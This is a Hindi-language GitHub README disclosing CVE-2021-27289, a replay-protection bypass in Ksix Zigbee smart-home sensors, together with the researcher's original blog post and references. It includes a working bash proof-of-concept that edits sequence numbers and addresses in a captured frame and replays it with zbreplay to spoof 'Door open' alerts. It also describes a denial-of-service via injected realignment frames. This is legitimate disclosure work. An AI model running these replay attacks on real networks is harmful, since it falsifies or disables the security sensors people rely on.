themalwareguardian/cve-2021-27289CVE-2021-27289: Ksix Zigbee उपकरणों पर प्लेबैक सुरक्षा बाइपास
नमस्ते सबको,
मुझे लगता है कि पेशेवर तरीका यही था कि इस रिपॉजिटरी को बिल्कुल वैसा ही शीर्षक दिया जाए – स्पष्ट, वर्णनात्मक और सीधे मुद्दे पर। लेकिन जब मैं इसे तैयार कर रहा था, तो मेरे मन में कुछ अन्य शीर्षक भी आए, जैसे:
खैर, यहाँ कहानी है।
जब मैं एक नई कमज़ोरी का खुलासा करने की तैयारी कर रहा था, तो मुझे कुछ याद आया जो मैंने वर्षों पहले काम किया था - एक बग जो मैंने अपने अंतिम डिग्री प्रोजेक्ट के दौरान IoT प्रोटोकॉल जैसे Thread और Zigbee पर शोध करते हुए पाया था। उस समय, मैंने MITRE को एक रिपोर्ट भेजी लेकिन कभी जवाब नहीं मिला, इसलिए मैंने सोचा कि इसे अनदेखा कर दिया गया।
उत्सुकता से, मैंने उस पुराने Gmail खाते में लॉग इन किया जिसका उपयोग मैंने सबमिशन के लिए किया था... और मेरे आश्चर्य के लिए, 2023 में - तीन साल बाद - मैंने देखा कि वास्तव में एक CVE असाइन किया गया था।
CVE-2021-27289, जो उस कमज़ोरी से जुड़ा है जिसे मैंने एक छात्र के रूप में रिपोर्ट किया था।
इसमें इतना समय क्यों लगा? जब मैंने पहली बार विक्रेता से संपर्क किया, तो उन्होंने कहा कि उनके पास इसे ठीक करने के लिए पर्याप्त स्टाफ नहीं है और वे इस बहाने को दोहराते रहे। मैंने MITRE को बताया कि कोई भी इसके बारे में कुछ करता नहीं दिख रहा था, इसलिए मुझे लगता है कि उन्होंने इंतजार किया - शायद इसलिए क्योंकि इस मुद्दे को कभी पैच किया जाने वाला नहीं था।
यह बग Ksix द्वारा बनाए गए कई Zigbee-आधारित IoT उपकरणों को प्रभावित करता था। मुख्य मुद्दा यह था कि रीप्ले सुरक्षा तंत्र, जो Zigbee विनिर्देश में परिभाषित है और फ्रेम काउंटर के माध्यम से लागू किया जाता है, ठीक से कार्यान्वित नहीं किया गया था।
क्योंकि उपकरण फ्रेम काउंटर की सही जाँच नहीं करते थे, एक हमलावर नेटवर्क के साथ संचार कर सकता था और केवल अनुक्रम संख्या को डिवाइस द्वारा देखे गए अंतिम मान से अधिक मान पर बढ़ाकर पैकेट स्पूफ कर सकता था। इससे कैप्चर किए गए संदेशों को फिर से चलाना और उन्हें वैध के रूप में स्वीकार करना संभव हो गया - जिसके परिणामस्वरूप प्रभावी रूप से एक प्रमाणीकरण बायपास हुआ।
इस रेपो में वह सब कुछ शामिल है जो मैंने अपने अंतिम प्रोजेक्ट पर काम किया था:
Ksix Zigbee IoT उपकरण Zigbee के रीप्ले सुरक्षा तंत्रों के अनुचित कार्यान्वयन के कारण एक रीप्ले हमले की कमज़ोरी से प्रभावित हैं।
निम्नलिखित संस्करणों का परीक्षण किया गया और वे कमज़ोर पाए गए। मैंने बाद के संस्करणों का परीक्षण नहीं किया, इसलिए वे भी प्रभावित हो सकते हैं।
ये उत्पाद अब विक्रेता की वेबसाइट या Amazon जैसे प्लेटफार्मों पर उपलब्ध नहीं हैं, और ऐसा लगता है कि इन्हें बंद कर दिया गया है।
प्रभावित उपकरणों में Zigbee स्टैक रीप्ले सुरक्षा तंत्र को ठीक से लागू नहीं करता है, जो Zigbee विनिर्देश में परिभाषित फ्रेम काउंटर फील्ड पर निर्भर करता है। यह फील्ड यह सुनिश्चित करने के लिए होता है कि प्राप्त संदेश ताज़ा हैं और पुनः चलाए नहीं गए हैं।
हालांकि, इस कार्यान्वयन में, फ्रेम काउंटर को अनदेखा किया जाता है या सही ढंग से मान्य नहीं किया जाता है। परिणामस्वरूप, एक हमलावर एक वैध Zigbee पैकेट को कैप्चर कर सकता है, उसकी अनुक्रम संख्या को उच्च मान (जैसे 250) पर बढ़ा सकता है, और इसे नेटवर्क पर पुनः चला सकता है।
चूंकि उपकरण केवल अनुक्रम संख्या की जांच करते हैं, वे संदेश को नया मानकर स्वीकार कर लेते हैं - जिससे बिना किसी प्रमाणीकरण या एन्क्रिप्शन को तोड़े स्पूफ संचार और अनधिकृत क्रियाएं संभव हो जाती हैं।
उपकरण के प्रकार और वातावरण में इसके एकीकरण पर निर्भर करते हुए, इससे उपयोगकर्ता द्वारा नेटवर्क सेट करने के लिए मूल रूप से उपयोग किए जाने वाले ऐप में झूठे अलर्ट या नकली सेंसर स्थितियां दिखाई दे सकती हैं (जैसे, गति का पता चला, दरवाजा खोला) - भले ही वास्तव में कुछ न हुआ हो। अधिक जटिल सेटअपों में, यह स्पूफ डेटा के आधार पर ऑटोमेशन वर्कफ़्लो को अस्थिर कर सकता है या अनजाने क्रियाओं को ट्रिगर कर सकता है।
ये उपकरण आमतौर पर Tuya Smart या समान प्लेटफार्मों जैसे ऐप का उपयोग करके कॉन्फ़िगर किए जाते हैं, जो सेंसर ट्रिगर होने पर उपयोगकर्ताओं को वास्तविक समय में सूचित करते हैं - उदाहरण के लिए, जब कोई दरवाजा खुलता है या गति का पता चलता है। यही वजह है कि निम्नलिखित हमले विशेष रूप से प्रभावी होते हैं, भले ही भौतिक घटनाएं कभी न हों।
यद्यपि इस विशिष्ट रीप्ले कमज़ोरी का सीधा प्रभाव सीमित है, प्रोटोकॉल की गहरी समझ - जैसा कि मैंने अपने अंतिम डिग्री प्रोजेक्ट में खोजा था - न्यूनतम संसाधनों के साथ किए जा सकने वाले अधिक उन्नत हमले के परिदृश्यों को प्रकट करती है।
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 डेमो वीडियो***
- [यूट्यूब वीडियो - CVE-2021-27289: Ksix Zigbee उपकरणों पर रीप्ले हमला (अवलोकन + पुराने डेमो)](https://www.youtube.com/watch?v=your-video-id) - जल्द ही आ रहा है। मैं 2020 में रिकॉर्ड किए गए मूल डेमो को फिर से अपलोड करूंगा, इस बार वातावरण सेटअप, हमले की प्रक्रिया और अधिक के बारे में टिप्पणी के साथ।
---
---
---
<div id='original-blog-post'/>
## ***📝 मूल ब्लॉग पोस्ट***
मूल ब्लॉग पोस्ट 2020 में मेरी तत्कालीन मुख्य व्यक्तिगत वेबसाइट पर प्रकाशित हुई थी (आह, वह नॉस्टैल्जिया 😅)। उस समय, मैंने MITRE को अपने CVE अनुरोध का समर्थन करने, Exploit-DB में प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट सबमिट करने और डेमो वीडियो प्रकाशित करने (जो अब मैंने एक अलग YouTube खाते पर फिर से अपलोड किए हैं) के लिए एक तकनीकी लेख साझा किया था।
नीचे आपको उस मूल पोस्ट का थोड़ा पुनर्गठित संस्करण मिलेगा।
<div id='original-blog-post-researcher'/>
### ***👤 शोधकर्ता***
एक 22 वर्षीय अलेजांद्रो वाज़्केज़ वाज़्केज़, जो अभी-अभी साइबर सुरक्षा को गंभीरता से लेना शुरू कर रहा था - धीरे-धीरे एक जुनून को करियर में बदल रहा था।
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Zigbee मूल बातें***
यदि आप Zigbee से अपरिचित हैं, तो मैं आपसे मेरी थीसिस रिपोर्ट या पूर्ण IEEE 802.15.4 विनिर्देशन पढ़ने की अपेक्षा नहीं करता। इसके बजाय, मैं प्रोटोकॉल की ठोस समझ प्राप्त करने के लिए इन उत्कृष्ट संसाधनों की अनुशंसा करता हूं:
- [Kudelski Security Research - ZigBee सुरक्षा: मूल बातें (भाग 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee सुरक्षा: मूल बातें (भाग 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee सुरक्षा: मूल बातें (भाग 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee सुरक्षा 101 (आर्किटेक्चर और सुरक्षा समस्याएं)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong कम्प्यूटर इमरजेंसी रिस्पॉन्स टीम कोऑर्डिनेशन सेंटर (HKCERT) - डिवाइस (ZigBee) सुरक्षा अध्ययन](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 पृष्ठभूमि और प्रेरणा***
अपने अंतिम डिग्री प्रोजेक्ट के लिए, मैंने अपने विश्वविद्यालय में कुछ अपरंपरागत विषय चुना: एक एप्लिकेशन विकसित करने के बजाय, मैंने पूरी तरह से संचार प्रोटोकॉल पर शोध और विश्लेषण पर ध्यान केंद्रित किया। मैंने यह रास्ता इसलिए चुना क्योंकि यह मुझे उस महत्वपूर्ण क्षेत्र का पता लगाने की अनुमति देता था जिसे मैं उस समय देखता था - IoT उपकरणों की सुरक्षा।
मेरा काम Zigbee और Thread प्रोटोकॉल के साथ-साथ उनके आधार: IEEE 802.15.4 पर केंद्रित था। एक बार जब मैंने पर्याप्त तकनीकी दस्तावेज़ीकरण और अकादमिक शोध की समीक्षा कर ली, तो मैं वास्तविक उपकरणों के साथ व्यावहारिक परीक्षण की ओर बढ़ा, जिसका उद्देश्य क्षेत्र में ज्ञात कमजोरियों को दोहराना और उनका विश्लेषण करना था।
<div id='original-blog-post-early-experiments'/>
### ***🔍 प्रारंभिक प्रयोग***
मेरा परीक्षण एक Zigbee मोशन सेंसर से शुरू हुआ। मैं यह देखना चाहता था कि डिवाइस नकली नियंत्रण संदेश पर कैसे प्रतिक्रिया देगा - विशेष रूप से, एक नेटवर्क रियलाइनमेंट फ्रेम, जो सामान्यतः Zigbee कॉन्फ़िगरेशन पैरामीटर रीसेट करने के लिए उपयोग किया जाता है। मैंने नेटवर्क में एक पुनर्संरचना का अनुकरण करने के लिए इसे इंजेक्ट किया - और यह काम कर गया। सेंसर मोबाइल ऐप (जिसका उपयोग मैंने नेटवर्क सेट अप करने के लिए किया था) में अभी भी "कनेक्टेड" दिखाई दे रहा था, लेकिन वास्तव में इसने कोऑर्डिनेटर के साथ संचार खो दिया था और इसे मैन्युअल रूप से रीसेट करना पड़ा। इसने मुझे बताया कि डिवाइस मजबूत सत्यापन के बिना कुछ पैकेट स्वीकार कर रहा था।
इस परिणाम से प्रोत्साहित होकर, मैंने रीप्ले हमलों की ओर रुख किया। एक स्निफ़र का उपयोग करके, मैंने एक दरवाजा सेंसर ("दरवाजा खुला" और "दरवाजा बंद") से मानक Zigbee संदेश कैप्चर किए। Zigbee नेटवर्क को रीसेट करने के बाद, मैंने बिना किसी फ़ील्ड को संशोधित किए उन पैकेट्स को दोबारा चलाया। मेरे आश्चर्य के लिए, मोबाइल ऐप ने रीयल-टाइम अलर्ट ट्रिगर किए, जैसे कि दरवाजा अभी खोला या बंद किया गया हो - भले ही मैं केवल पहले से कैप्चर किए गए संदेशों को दोबारा चला रहा था।
इसने पुष्टि की कि रीप्ले हमलों को रोकने के लिए डिज़ाइन किए गए सुरक्षा तंत्र या तो लागू नहीं किए गए थे या इन उपकरणों पर ठीक से काम नहीं कर रहे थे।
<div id='original-blog-post-discovery'/>
### ***💥 खोज***
इस बिंदु पर, मैं बेहतर ढंग से समझना चाहता था कि पुराने पैकेट्स को दोबारा चलाना क्यों काम कर रहा था। Zigbee इस प्रकार के हमले को रोकने के लिए दो प्रमुख फ़ील्ड परिभाषित करता है: फ्रेम काउंटर, जो प्रत्येक भेजे गए संदेश के साथ बढ़ता है, और अनुक्रम संख्या, जो डुप्लिकेट का पता लगाने में मदद करता है।
इसलिए मैंने दोनों के साथ प्रयोग करना शुरू किया।
पहले, मैंने लगभग 50 वैध पैकेट कैप्चर किए और उन्हें नेटवर्क में दोबारा चलाया। मुझे पहले की तरह कई अलर्ट मिले। फिर मैंने फ्रेम काउंटर को संशोधित किया, इसे प्रत्येक पैकेट में बहुत अधिक मान पर सेट किया, और फिर से प्रयास किया। इस बार, कुछ नहीं हुआ - कोई अलर्ट नहीं। इससे मुझे संदेह हुआ कि किसी प्रकार की जाँच की जा रही थी, लेकिन असंगत रूप से।
गहराई से जांच करने के लिए, मैंने Zigbee नेटवर्क को फिर से रीसेट किया, और फ्रेम काउंटर को संशोधित करने के बजाय, मैंने अनुक्रम संख्या पर ध्यान केंद्रित किया। मैंने उसी कैप्चर किए गए संदेशों को दोबारा चलाया लेकिन प्रत्येक पैकेट के साथ अनुक्रम संख्या को धीरे-धीरे बढ़ाया, एक सामान्य डिवाइस के व्यवहार का अनुकरण करते हुए।
यह काम कर गया।
मोबाइल ऐप में फिर से अलर्ट पॉप अप होने लगे। तब मुझे एहसास हुआ कि डिवाइस संभवतः केवल अनुक्रम संख्या पर निर्भर थे कि यह निर्धारित करने के लिए कि पैकेट नया है या नहीं - और फ्रेम काउंटर को पूरी तरह से अनदेखा कर रहे थे, जो कि रीप्ले हमलों को रोकने के लिए स्पष्ट रूप से डिज़ाइन किया गया फ़ील्ड है।
इस खामी का मतलब था कि जब तक मैं नए अनुक्रम संख्याओं के साथ पैकेट भेजता रहता, मैं नेटवर्क में नकली संदेश इंजेक्ट करता रह सकता था - और डिवाइस उन्हें वैध मान लेते।
इसलिए, खराब कार्यान्वयन के कारण - या शायद कोऑर्डिनेटर (Zigbee गेटवे) की सीमित प्रसंस्करण क्षमताओं के कारण - मैं केवल नेटवर्क की वायरलेस रेंज के भीतर रहकर, पहले से कैप्चर किए गए संदेशों जैसे "दरवाजा खुला" या "दरवाजा बंद" को दोबारा चला सकता था। ये नकली घटनाएं तब मोबाइल ऐप में ठीक वैसे ही दिखाई देती थीं जैसे वे वास्तविक जीवन में अभी-अभी घटित हुई हों।
<div id='original-blog-post-exploitation'/>
### ***🧨 शोषण***
कमजोरी का शोषण करना तुच्छ है:
आप एक वैध Zigbee फ्रेम कैप्चर करते हैं, अनुक्रम संख्या को उच्च मान में बदलते हैं, और इसे दोबारा चलाते हैं। प्राप्त करने वाला डिवाइस संदेश स्वीकार करता है, और उपयोगकर्ता को उनके ऐप में रीयल-टाइम अलर्ट मिलता है, यह विश्वास करते हुए कि वास्तविक गतिविधि हुई थी।
कुछ परीक्षणों में, मैं डिवाइस संचार को बाधित करने में भी सक्षम था, जिससे सेंसर ऐप में "ऑनलाइन" रहते हुए अनुत्तरदायी हो गए, जो भौतिक सुरक्षा परिदृश्यों में खतरनाक हो सकता है।
<div id='original-blog-post-lab-setup'/>
### ***🔬 प्रयोगशाला सेटअप***
परीक्षण 2020 में Ksix द्वारा निर्मित Zigbee-आधारित IoT उपकरणों की एक छोटी प्रयोगशाला का उपयोग करके किए गए थे। निम्नलिखित मॉडल और फर्मवेयर संस्करण उस समय कमजोर पाए गए थे:
- Zigbee गेटवे मॉड्यूल – v1.0.3
- गेटवे मुख्य मॉड्यूल – v1.1.2
- दरवाजा सेंसर – v1.0.7
- PIR मोशन सेंसर – v1.0.12
हमलों को करने और Zigbee ट्रैफ़िक कैप्चर करने के लिए, मैंने उपयोग किया:
- APImote, IEEE 802.15.4 नेटवर्क के लिए एक USB हार्डवेयर स्निफ़र
- KillerBee फ्रेमवर्क, पैकेट्स को कैप्चर करने, इंजेक्ट करने और विश्लेषण करने के लिए उपयोग किया जाता है
इस सेटअप ने मुझे नियंत्रित वातावरण में वास्तविक दुनिया की बातचीत का अनुकरण करने, ट्रैफ़िक प्रवाह का विश्लेषण करने और सेवा-अस्वीकार और रीप्ले हमले दोनों परिदृश्यों का परीक्षण करने की अनुमति दी।
<div id='original-blog-post-related-research'/>
### ***📚 संबंधित शोध***
यहां से मैं उन सभी शोधकर्ताओं का धन्यवाद करता हूं जिन्होंने मेरा मार्ग आसान बनाया और जिनके प्रकाशनों से मैंने इस प्रकार के IoT नेटवर्क के सबसे सामान्य हमले वैक्टर और कमजोरियों के बारे में सीखा:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Zigbee का सुरक्षा विश्लेषण.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: अच्छा, बुरा और बदसूरत.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). IEEE 802.15.4 MAC लेयर हमलों पर एक जांच. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "IEEE 802.15.4 MAC लेयर हमलों पर: GTS हमला," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "इंटरनेट-ऑफ-थिंग्स (IoT) अनुप्रयोगों के लिए ZigBee उपकरणों पर नए रीप्ले हमले," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). ZigBee सुरक्षा के विरुद्ध तीन व्यावहारिक हमले: हमला परिदृश्य परिभाषाएं, व्यावहारिक प्रयोग, प्रतिउपाय और सीखे गए सबक.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)